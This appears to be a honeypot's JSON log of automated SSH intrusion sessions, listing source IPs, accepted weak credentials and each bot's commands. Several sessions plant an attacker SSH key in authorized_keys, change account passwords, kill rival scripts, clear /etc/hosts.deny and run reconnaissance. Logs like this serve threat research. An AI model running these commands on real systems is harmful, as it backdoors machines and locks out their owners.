$7}'"},{"seq":10,"at":"2026-08-27T11:50:54.846552+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:50:55.308685+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:50:56.583546+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:50:57.044675+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:50:57.481276+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:50:57.952561+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:50:58.453600+00:00","kind":"output","latency_ms":null,"data":" 11:50:58 up 7 days, 8:41, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:50:58.912911+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:50:59.790611+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:51:00.250368+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:51:00.822372+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:51:01.281665+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:51:01.839015+00:00","kind":"output","latency_ms":null,"data":"top - 11:51:01 up 7 days, 8:41, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:51:02.300450+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:51:02.839496+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:51:03.303571+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:51:03.883232+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:51:04.351651+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:51:05.118155+00:00","kind":"output","latency_ms":null,"data":"azureuser"},{"seq":29,"at":"2026-08-27T11:51:05.578671+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:51:07.125965+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:51:07.586267+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:51:08.907872+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"azureuser","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"e1f66112-87f6-47df-a41b-341a29ff54b1","name":"foggy-alpine-lapwing","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":40216,"username":"ansible","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:49:59.749424+00:00","ended_at":"2026-08-27T11:50:01.495060+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T11:49:40.924949+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:49:41.251693+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:49:46.139350+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:49:47.028274+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:49:47.355048+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password1\\n5zydajlfTU2E\\n5zydajlfTU2E\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:49:47.682660+00:00","kind":"input","latency_ms":null,"data":"echo \"Password1\\n5zydajlfTU2E\\n5zydajlfTU2E\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:49:48.007732+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:49:48.383988+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:49:48.712159+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:49:49.982059+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:49:50.317966+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:49:51.147445+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:49:51.481098+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:49:51.970754+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:49:52.297229+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:49:52.834320+00:00","kind":"output","latency_ms":null,"data":" 11:49:52 up 7 days, 8:39, 0 user, load average: 0.31, 0.27, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:49:53.161993+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:49:53.584642+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:49:53.912674+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:49:54.804870+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:49:55.130660+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:49:55.695519+00:00","kind":"output","latency_ms":null,"data":"top - 11:49:55 up 7 days, 8:40, 0 user, load average: 0.31, 0.27, 0.22\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:49:56.022674+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:49:56.722207+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:49:57.047674+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:49:57.555024+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:49:57.882933+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:49:58.160250+00:00","kind":"output","latency_ms":null,"data":"ansible"},{"seq":29,"at":"2026-08-27T11:49:58.485680+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:49:59.420283+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:49:59.752139+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:50:01.397328+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ansible","password":"Password1","method":"password","accepted":true,"tier":"other"}]} {"id":"644e4b81-4b47-4b7d-8f6c-f861c58a1d6b","name":"calm-wooded-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":32910,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:49:46.426661+00:00","ended_at":"2026-08-27T11:49:47.938006+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-27T11:49:27.274924+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:49:27.575435+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:49:32.448592+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:49:32.962100+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:49:33.260777+00:00","kind":"input","latency_ms":null,"data":"echo \"root:JoIsBWvGdg9J\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:49:33.560742+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:49:33.857893+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:49:34.194007+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:49:34.492965+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:49:35.419136+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:49:35.719814+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:49:37.176131+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:49:37.476595+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:49:38.115204+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:49:38.415091+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:49:39.178993+00:00","kind":"output","latency_ms":null,"data":" 11:49:39 up 7 days, 8:39, 0 user, load average: 0.05, 0.04, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:49:39.478890+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:49:40.218679+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:49:40.518608+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:49:40.931179+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:49:41.231735+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:49:41.770935+00:00","kind":"output","latency_ms":null,"data":"top - 11:49:41 up 7 days, 8:39, 0 user, load average: 0.05, 0.04, 0.05\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:49:42.070622+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:49:42.811923+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:49:43.109930+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:49:43.903147+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:49:44.201813+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:49:44.756113+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:49:45.054970+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:49:46.128256+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:49:46.427449+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:49:47.848760+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Oracle@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"698fee8c-2b89-46d0-b4cc-02b7c9959eb1","name":"nautical-meadow-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":34680,"username":"stefan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":260,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:49:34.676771+00:00","ended_at":"2026-08-27T11:49:36.574511+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T11:49:06.159522+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:49:06.418917+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:49:10.197485+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:49:11.531171+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:49:11.790570+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\n5gYAdcgnYvLk\\n5gYAdcgnYvLk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:49:12.048837+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\n5gYAdcgnYvLk\\n5gYAdcgnYvLk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:49:12.309074+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:49:12.679285+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:49:13.646135+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:49:14.386924+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:49:14.647628+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:49:16.345722+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:49:16.608620+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:49:18.142731+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:49:18.405082+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:49:19.602081+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:49:19.862556+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:49:20.846059+00:00","kind":"output","latency_ms":null,"data":" 11:49:20 up 7 days, 8:39, 0 user, load average: 0.11, 0.12, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:49:21.109866+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:49:23.119710+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:49:23.380702+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:49:25.046309+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:49:25.304381+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:49:26.871299+00:00","kind":"output","latency_ms":null,"data":"top - 11:49:26 up 7 days, 8:39, 0 user, load average: 0.11, 0.12, 0.08\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:49:27.134805+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:49:29.242282+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:49:29.505405+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:49:30.776439+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:49:31.036506+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:49:31.971598+00:00","kind":"output","latency_ms":null,"data":"stefan"},{"seq":31,"at":"2026-08-27T11:49:32.230990+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:49:34.416727+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:49:34.677740+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:49:36.501181+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"stefan","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"389c32c9-156e-4ee3-8363-321d6eea2cc4","name":"shaded-placid-eagle","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":51716,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":781,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:48:39.937153+00:00","ended_at":"2026-08-27T11:48:41.766906+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:48:13.355714+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:48:14.130524+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:48:19.261303+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:48:19.625810+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:48:20.398662+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HzLxQEU9cZjD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:48:21.170611+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:48:21.940586+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:48:22.327071+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:48:23.100347+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:48:24.093932+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:48:24.867074+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:48:26.370109+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:48:27.156098+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:48:27.433518+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:48:28.214151+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:48:28.846172+00:00","kind":"output","latency_ms":null,"data":" 11:48:28 up 7 days, 8:38, 0 user, load average: 0.21, 0.26, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:48:29.635327+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:48:29.952417+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:48:30.729014+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:48:31.624775+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:48:32.412065+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:48:32.886382+00:00","kind":"output","latency_ms":null,"data":"top - 11:48:32 up 7 days, 8:38, 0 user, load average: 0.21, 0.26, 0.14\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 